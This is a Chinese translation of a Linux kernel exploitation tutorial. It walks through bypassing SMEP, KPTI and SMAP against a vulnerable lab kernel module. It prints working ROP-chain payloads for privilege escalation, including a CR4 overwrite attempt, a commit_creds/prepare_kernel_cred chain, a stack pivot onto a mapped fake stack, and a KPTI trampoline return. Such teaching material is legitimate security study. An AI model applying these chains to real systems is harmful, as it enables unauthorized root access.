前言
在上一篇文章中,我们不仅为读者详细介绍了如何搭建环境,还通过一个具体的例子演示了最简单的内核漏洞利用技术:ret2usr。在本文中,我们将逐步启用更多的安全防御机制,即SMEP、KPTI和SMAP,并逐一解释它们将如何影响我们的漏洞利用方法,以及如何绕过这些防御机制。
启用SMEP机制
SMEP简介
SMEP(Supervisormode execution protection,SMEP)机制的作用是,当进程在内核模式下运行时,该防御机制会将页表中的所有用户空间的内存页标记为不可执行的。在内核中,这个功能可以通过设置控制寄存器CR4的第20位来启用。在启动时,可以通过在-cpu选项下加入+smep来启用该防御机制,通过在-append选项下加入nosmep来禁用该机制。
在上一篇文章中,我们曾经通过自己编写的一段代码获得了root权限;但是,在启用了SMEP机制后,这个策略就行不通了。原因很简单:我们的代码是位于用户空间中的,但是,就像前面说过的那样,当进程在内核模式下运行时,SMEP机制会将存放我们代码的页面标记为不可执行。再回想一下,我们大多数人学习用户空间pwn的时候,也会遇到堆栈不可执行的情况,所以,在学习了ret2shellcode之后,通常就会开始接触ROP技术。同样的概念也适用于内核漏洞利用的学习,在介绍ret2usr技术之后,我将介绍内核ROP技术。
注意事项:正如我在第一篇文章中提到的,这里将假设读者已经熟悉了用户空间的漏洞利用知识,因此,我就不再重复解释什么是ROP了。不过,这是一种非常基础的技术,所以,读者可以在网上找到大量介绍资料。
为了更广泛的涵盖不同的漏洞利用技术,我将假设2种不同的场景,并分别加以详细介绍:第一种场景就是我们当前面对的:我们能够向内核栈写入任意数量的数据。
第二种场景是:我们只能覆盖内核栈的返回地址。这将使漏洞利用变得更困难一些。
让我们从研究第一种场景开始下手。
尝试覆盖CR4
如上所述,在内核中,控制寄存器CR4的第20位负责启用或禁用SMEP机制。而实际上,在内核模式下运行的时候,我们可以通过mov cr4,rdi等asm指令来修改这个寄存器的内容。这样的指令来自于一个叫native_write_cr4()的函数,它可以用参数覆盖CR4的内容,并且,该函数本身就驻留在内核空间中。所以,为了绕过SMEP防御机制,我们首先可以尝试利用ROP技术跳转到native_write_cr4(value)函数,其中value是精心构造的一个值,可以将CR4的第20位清零。
与commit_creds()和prepare_kernel_cred()函数一样,我们也可以通过阅读/proc/kallsyms找到该函数的地址。
cat /proc/kallsyms | grep native_write_cr4
-> ffffffff814443e0 T native_write_cr4
重要提示:对于本文中将要介绍的所有漏洞利用过程,我们只解释与ret2usr技术不同的部分。与上一篇完全相同的部分是:保存状态、打开设备、泄漏栈cookie。
实际上,在内核中构建ROP链的方式与在用户空间中使用的方式是完全一致的。因此,在这里,我们不会立即返回到用户空间的代码中,而是先返回到native_write_cr4(value)中,再返回到我们的提权代码中。为了获取CR4寄存器的当前值,我们可以触发内核崩溃,并将其转储出来(或者在内核上附加一个调试器),以得到该值。
[ 3.794861]CR2: 0000000000401fd9 CR3: 000000000657c000 CR4: 00000000001006f0
然后,将第20位(地址为0x100000)清零,使该值变为0x6F0。下面给出相应的payload:
unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long native_write_cr4 = 0xffffffff814443e0;
void overflow(void){
unsigned n =50;
unsignedlong payload[n];
unsigned off= 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = pop_rdi_ret; // return address
payload[off++] = 0x6f0;
payload[off++] = native_write_cr4; // native_write_cr4(0x6f0),effectively clear the 20th bit
payload[off++] = (unsigned long)escalate_privs;
puts("[*] Prepared payload");
ssize_t w =write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
对于像pop rdi ; ret这样的gadget,我们可以通过grepping gadgets.txt轻松找到它们,这个文件是在第一篇文章中通过在内核映像上运行ROPgadget生成的。
注意:在内核映像文件vmlinux中,好像并没有提供某区段是否可执行的信息,所以,ROPgadget会试图找出位于该二进制文件中的所有gadget,甚至包括那些不可执行的gadget。也就是说,当我们使用ROPgadget找出的gadget时,如果它是不可执行的,那么内核就会发生崩溃;不过,我们也不必过于担心,这时只需要尝试下一个gadget就行了。
理论上讲,运行上述代码后,我们应该会得到一个root shell。然而,在现实中,内核仍然崩溃,更令人困惑的是,崩溃的原因是SMEP机制所致:
[ 3.770954]unable to execute userspace code (SMEP?) (uid: 1000)
如果我们已经将第20位清零的话,为什么SMEP机制仍然生效呢?我决定用dmesg来看看CR4到底发生了什么状况,结果发现了下面这行内容:
[ 3.767510]pinned CR4 bits changed: 0x100000!?
由此看来,CR4的第20位被莫名其妙的“定住”了。为了弄清楚到底咋回事,我找到了native_write_cr4()函数的源代码:
void native_write_cr4(unsigned long val)
{
unsigned longbits_changed = 0;
set_register:
asmvolatile("mov %0,%%cr4": "+r" (val) : :"memory");
if(static_branch_likely(&cr_pinning)) {
if(unlikely((val & cr4_pinned_mask) != cr4_pinned_bits)) {
bits_changed= (val & cr4_pinned_mask) ^ cr4_pinned_bits;
val =(val & ~cr4_pinned_mask) | cr4_pinned_bits;
gotoset_register;
}
/* Warnafter we've corrected the changed bits. */
WARN_ONCE(bits_changed,"pinned CR4 bits changed: 0x%lx!?\n",
bits_changed);
}
}
此外,我们还找到了一份与CR4相关位被定住的相关文档。通过它,我们才知道,在较新的内核版本中,CR4的第20位和第21位在启动时就被“定住”了,即使该位被清零,也会立即重新被置1,所以,我们已经无法使用前面的方法来覆盖它了!
所以,我的第一次尝试以失败而告终,不过,我们还是有一定的收获的,至少我们现在知道,即使我们能够在内核模式下覆盖CR4,但内核开发者已经意识到了这一点,并设法阻止我们用这种方式来利用内核漏洞。好吧,让我们继续开发一个更强大的、真正有效的漏洞利用方法。
构建一个完整的提权ROP链
在第二次尝试中,我们将彻底放弃通过运行自己的代码来获取root权限的想法,并尝试只使用ROP来实现这一任务。实际上,我们的计划非常简单:通过ROP转到prepare_kernel_cred(0)。
通过ROP转到commit_creds(),参数为步骤1的返回值。
通过ROP转到swapgs ;ret。
通过ROP转到iretq,堆栈设置为RIP|CS|RFLAGS|SP|SS。
如您所见,该ROP链本身一点都不复杂,但在构建过程中,仍然面临一些问题。首先,正如我上面提到的,ROPgadget找到的许多gadget是无法正常使用的。因此,我不得不进行多次尝试,最后用这些gadget把步骤1中的返回值(存储在rax中)移到rdi中,以传递给commit_creds();不过奇怪的是,我尝试的所有gadget都是不可执行的:
unsigned long pop_rdx_ret = 0xffffffff81007616; // poprdx ; ret
unsigned long cmp_rdx_jne_pop2_ret =0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp; ret
unsigned long mov_rdi_rax_jne_pop2_ret =0xffffffff8166fea3; // mov rdi, rax ; jne 0xffffffff8166fe7a ; pop rbx ; poprbp ; ret
使用这3个gadget的目的,是在不使用jne的情况下将rax移入rdi。 因此,我必须将值8弹出到rdx中,然后返回到cmp指令以使比较的结果为相等,从而确保我们不会跳转到jne分支:
...
payload[off++] = pop_rdx_ret;
payload[off++] = 0x8; // rdx
payload[off++] = cmp_rdx_jne_pop2_ret; // make sureJNE doesn't branch
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = mov_rdi_rax_jne_pop2_ret; // rdi
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = commit_creds; //commit_creds(prepare_kernel_cred(0))
...
其次,看起来ROPgadget在寻找swapgs方面非常擅长,但是它却找不到iretq,所以,我必须借助于objdump来查找iretq:
objdump -j .text -d ~/vmlinux | grep iretq | head -1
-> ffffffff8100c0d9: 48 cf iretq
有了这些gadget,我们就可以构建完整的ROP链了:
unsigned long user_rip = (unsigned long)get_shell;
unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long pop_rdx_ret = 0xffffffff81007616; // poprdx ; ret
unsigned long cmp_rdx_jne_pop2_ret =0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp; ret
unsigned long mov_rdi_rax_jne_pop2_ret =0xffffffff8166fea3; // mov rdi, rax ; jne 0xffffffff8166fe7a ; pop rbx ; poprbp ; ret
unsigned long commit_creds = 0xffffffff814c6410;
unsigned long prepare_kernel_cred =0xffffffff814c67f0;
unsigned long swapgs_pop1_ret = 0xffffffff8100a55f; //swapgs ; pop rbp ; ret
unsigned long iretq = 0xffffffff8100c0d9;
void overflow(void){
unsigned n =50;
unsignedlong payload[n];
unsigned off= 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++]= pop_rdi_ret; // return address
payload[off++] = 0x0; // rdi
payload[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)
payload[off++] = pop_rdx_ret;
payload[off++] = 0x8; // rdx
payload[off++] = cmp_rdx_jne_pop2_ret; // make sure JNE doesn't branch
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = mov_rdi_rax_jne_pop2_ret; // rdi
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = commit_creds; //commit_creds(prepare_kernel_cred(0))
payload[off++] = swapgs_pop1_ret; // swapgs
payload[off++] = 0x0; // dummy rbp
payload[off++] = iretq; // iretq fr ame
payload[off++] = user_rip;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
puts("[*] Prepared payload");
ssize_t w =write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
这样,我们成功地构建了一个绕过SMEP机制,并能在第一种场景下打开root shell的漏洞利用代码。让我们继续看看在第二种情况下,我们可能会面临什么样的困难。
堆栈pivot技术
很明显,如果我们只能溢出到返回地址的话,将无法把整个ROP链都装到栈中。为了克服这个问题,我们将再次使用一种在用户空间漏洞利用领域也相当流行的技术:堆栈pivot。这是一种修改rsp,使其指向一个受控的可写地址,从而有效地创建了一个“假栈”的技术。然而,对于用户空间中的堆栈pivot技术来说,常常需要覆盖一个已保存的函数RBP,然后从那里返回;而在内核中的pivot技术则简单得多。因为内核映像存在大量的gadget,我们可以寻找那些修改rsp/esp本身的gadget。我们最感兴趣的,就是那些将常量值移入esp的gadget,同时,还要确保这些gadget是可执行的,并且常量值是已经正确对齐的。下面展示的是我选用的gadget:
unsigned long mov_esp_pop2_ret = 0xffffffff8196f56a;// mov esp, 0x5b000000 ; pop r12 ; pop rbp ; ret
也就是说,我们将用它来覆盖返回地址,但在此之前,我们必须先搭建好“假栈”。由于之后esp会变成0x5b000000,因此,我们可以在该位置映射一个固定的内存页,然后将我们的ROP链写入其中:
void build_fake_stack(void){
fake_stack =mmap((void *)0x5b000000 - 0x1000, 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);
unsigned off= 0x1000 / 8;
fake_stack[0] = 0xdead; // put something in the first page to preventfault
fake_stack[off++] = 0x0; // dummy r12
fake_stack[off++] = 0x0; // dummy rbp
fake_stack[off++] = pop_rdi_ret;
... // therest of the chain is the same as the last payload
}
在上面的代码中,有2个地方需要注意:我把内存页映射到了一个区间0x5b000000-0x1000,而不是精确的地址0x5b000000。这是因为像prepare_kernel_cred()和commit_creds()这样的函数,会调用内部的其他函数,导致堆栈增长。如果我们让esp指向页面的确切起始点,堆栈就没有足够的空间来增长,就会崩溃。
我必须在第一页中写入一个虚设值,否则就会导致Double Fault故障。根据我的理解,原因是页面只有在被访问后才会被插入到页表中,而不是在被映射后就会插入。我们映射了0x2000字节,相当于2个页面,并且把ROP链全部放在第二页中,所以,我们也要访问一下第一页。
上面就是在只能溢出栈到返回地址的情况下,获得一个root shell的具体方法。我对绕过SMEP的介绍也到此结束,接下来,让我们再启用另外一个防御措施,即KPTI。
启用KPTI机制
关于KPTI
KPTI(Kernelpage-table isolation)是将用户空间和内核空间的页表完全隔离,而不是只使用一组同时包含用户空间和内核空间地址的页表的安全机制。跟以前一样,仍然有一组页表同时包含内核空间和用户空间地址,但它仅在系统运行在内核模式时使用。在用户模式下使用的第二组页表包含用户空间的副本和最少的内核空间地址集。KPTI机制可以通过在-append选项下添加kpti=1或nopti来启用/禁用。
这个特性是内核特有的,准确来说,它是为了防止Linux内核崩溃而引入的,因此,在用户空间中,没有相应的机制可以与之类比。首先,试图运行上一节中的任何漏洞利用代码都会导致死机。但有趣的是,死机是正常的用户空间Segmentation故障所致,而不是内核崩溃所致。原因是:虽然代码已经从内核模式返回到用户模式,但它所使用的页表仍然是内核的,而用户空间的所有页面都被标记为不可执行。
实际上,绕过KPTI机制的方法一点都不复杂,例如下面是我在一些文章中读到的两种方法:使用信号处理程序(该方法源自@ntrung03撰写的一篇文章):这是一个非常巧妙的解决方案,并且非常简单。这种方法的思路是,因为我们要处理的是用户空间中的一个SIGSEGV,因此,可以直接在main函数中插入一行代码:signal(SIGSEGV, get_shell);,为其添加一个调用get_shell()的信号处理程序。不过我还是没有完全理解一件事情:因为不管出于什么原因,即使处理程序get_shell()本身也驻留在不可执行的页面中,但如果捕捉到一个SIGSEGV,它仍然可以正常执行(而不是无限期地循环处理程序或执行默认处理程序或未定义的行为等),但它确实管用。
使用KPTI蹦床(被大多数相关文章所采用):这个方法是基于这样的想法,即如果一个syscall正常返回,内核中一定有一段代码会把页表换回用户空间的页表,所以我们可以尝试重用那段代码来达到自己的目的。这段代码通常被称为KPTI蹦床,它的作用是切换页表、swapgs和iretq。我们将深入研究这种方法。
调整ROP链
这段代码驻留在一个名为swapgs_restore_regs_and_return_to_usermode()的函数中,我们也可以通过阅读/proc/kallsyms找到它的地址。
cat /proc/kallsyms | grepswapgs_restore_regs_and_return_to_usermode
-> ffffffff81200f10 Tswapgs_restore_regs_and_return_to_usermode
我们可以使用IDA考察该函数的开头部分:
.text:FFFFFFFF81200F10 pop r15
.text:FFFFFFFF81200F12 pop r14
.text:FFFFFFFF81200F14 pop r13
.text:FFFFFFFF81200F16 pop r12
.text:FFFFFFFF81200F18 pop rbp
.text:FFFFFFFF81200F19 pop rbx
.text:FFFFFFFF81200F1A pop r11
.text:FFFFFFFF81200F1C pop r10
.text:FFFFFFFF81200F1E pop r9
.text:FFFFFFFF81200F20 pop r8
.text:FFFFFFFF81200F22 pop rax
.text:FFFFFFFF81200F23 pop rcx
.text:FFFFFFFF81200F24 pop rdx
.text:FFFFFFFF81200F25 pop rsi
.text:FFFFFFFF81200F26 mov rdi, rsp
.text:FFFFFFFF81200F29 mov rsp, qword ptr gs:unk_6004
.text:FFFFFFFF81200F32 push qword ptr [rdi+30h]
.text:FFFFFFFF81200F35 push qword ptr [rdi+28h]
.text:FFFFFFFF81200F38 push qword ptr [rdi+20h]
.text:FFFFFFFF81200F3B push qword ptr [rdi+18h]
.text:FFFFFFFF81200F3E push qword ptr [rdi+10h]
.text:FFFFFFFF81200F41 push qword ptr [rdi]
.text:FFFFFFFF81200F43 push rax
.text:FFFFFFFF81200F44 jmp short loc_FFFFFFFF81200F89
...
如您所见,它首先通过从堆栈中弹出的值来恢复大量寄存器。但是,我们真正感兴趣的是它切换页表、swaps和iretq的部分,而不是这一部分。虽然只需将ROP插入该函数的开头处即可正常工作,但由于这需要插入许多虚设的寄存器值,因此,会不必要地扩大了我们的ROP链的长度。这样的话,我们的KPTI蹦床将位于swapgs_restore_regs_and_return_to_usermode + 22处,这就是第一个mov指令的地址。
恢复初始寄存器后,以下才是对我们有用的部分:
.text:FFFFFFFF81200F89 loc_FFFFFFFF81200F89:
.text:FFFFFFFF81200F89 pop rax
.text:FFFFFFFF81200F8A pop rdi
.text:FFFFFFFF81200F8B call cs:off_FFFFFFFF82040088
.text:FFFFFFFF81200F91 jmp cs:off_FFFFFFFF82040080
...
.text.native_swapgs:FFFFFFFF8146D4E0 push rbp
.text.native_swapgs:FFFFFFFF8146D4E1 mov rbp, rsp
.text.native_swapgs:FFFFFFFF8146D4E4 swapgs
.text.native_swapgs:FFFFFFFF8146D4E7 pop rbp
.text.native_swapgs:FFFFFFFF8146D4E8 retn
...
.text:FFFFFFFF8120102E mov rdi, cr3
.text:FFFFFFFF81201031 jmp short loc_FFFFFFFF81201067
...
.text:FFFFFFFF81201067 or rdi, 1000h
.text:FFFFFFFF8120106E mov cr3, rdi
...
.text:FFFFFFFF81200FC7 iretq
注意,由于开头部分多了2个pop指令,所以,我们必须在ROP链中放入2个虚设值。之后的代码用于实现页表切换,即通过修改控制寄存器CR3来切换页表,最后是iretq。我们将修改ROP链的最后一部分,从SWAPGS|IRETQ|RIP|CS|RFLAGS|SP|SS 调整为 KPTI_trampoline|dummyRAX|dummy RDI|RIP|CS|RFLAGS|SP|SS 。
void overflow(void){
// ...
payload[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode+ 22
payload[off++] = 0x0; // dummy rax
payload[off++] = 0x0; // dummy rdi
payload[off++] = user_rip;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++]= user_ss;
// ...
}
小贴士:这个payload不仅比上一节介绍的payload更易于构建,同时,无论是否启用KPTI机制,它都能正常工作(大多数时候KPTI会和SMEP一起启用)。因此,建议将其作为默认payload;对于之前的payload,只可用于演示。在面对第二种情况时,可以将堆栈用作跳板,并将这个payload放到伪造的堆栈中。
至此,我们就干净利落地绕过了KPTI安全机制。下面,让我们进入本文的最后一节,讨论一下SMAP机制的相关问题。
启用SMAP机制
SMAP(SupervisorMode Access Prevention,SMAP),是为了补充SMEP而引入的一种缓解机制:当进程处于内核模式时,该机制会将页表中所有用户空间的内存页标记为不可访问,也就是说不能对其进行读写操作。在内核中,可以通过设置控制寄存器CR4的第21位来启用这个防御机制;在启动时,可以通过在-cpu选项下加入+smap来启用该机制,通过在-append选项下加入nosmap来禁用该机制。
在两种场景下,情况会有很大的不同:在第一种场景下,我们的整个ROP链都存储在内核堆栈上,并且不会从用户空间访问任何数据。因此,我们之前的payload仍然是可用的,无需任何修改。
在第二种场景下,我们实际上是将堆栈转变成了用户空间的一个内存页面。我们知道,对于像压入和弹出堆栈这样的操作,是需要对堆栈进行读写访问的,而SMAP机制则禁止进行这些操作。因此,基于堆栈pivot的payload将无法使用。事实上,据我所知,我们目前针对栈的读写原语还不足以成功利用该漏洞,所以,我们需要更强大的原语来利用内核模块的漏洞,这可能涉及到内存页表和页目录方面的知识,或者其他一些高级主题。对于本文来说,这些主题太复杂了,这里就不深入介绍了。如果将来有机会,我们再进行介绍。
小结
在这篇文章中,我为读者演示了在2种不同的情况下绕过SMEP、KPTI和SMAP等安全机制的流行方法;其中,第一种情况是我们能够在堆栈上有无限溢出,第二种情况则是没有这种能力。本文中,我们介绍所有的漏洞利用技术都是围绕ROP的概念进行的,并且要借助于内核自身中的多个gadget和代码片段。
附录
本文由secM整理并翻译,不代表白帽汇任何观点和立场
来源:https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/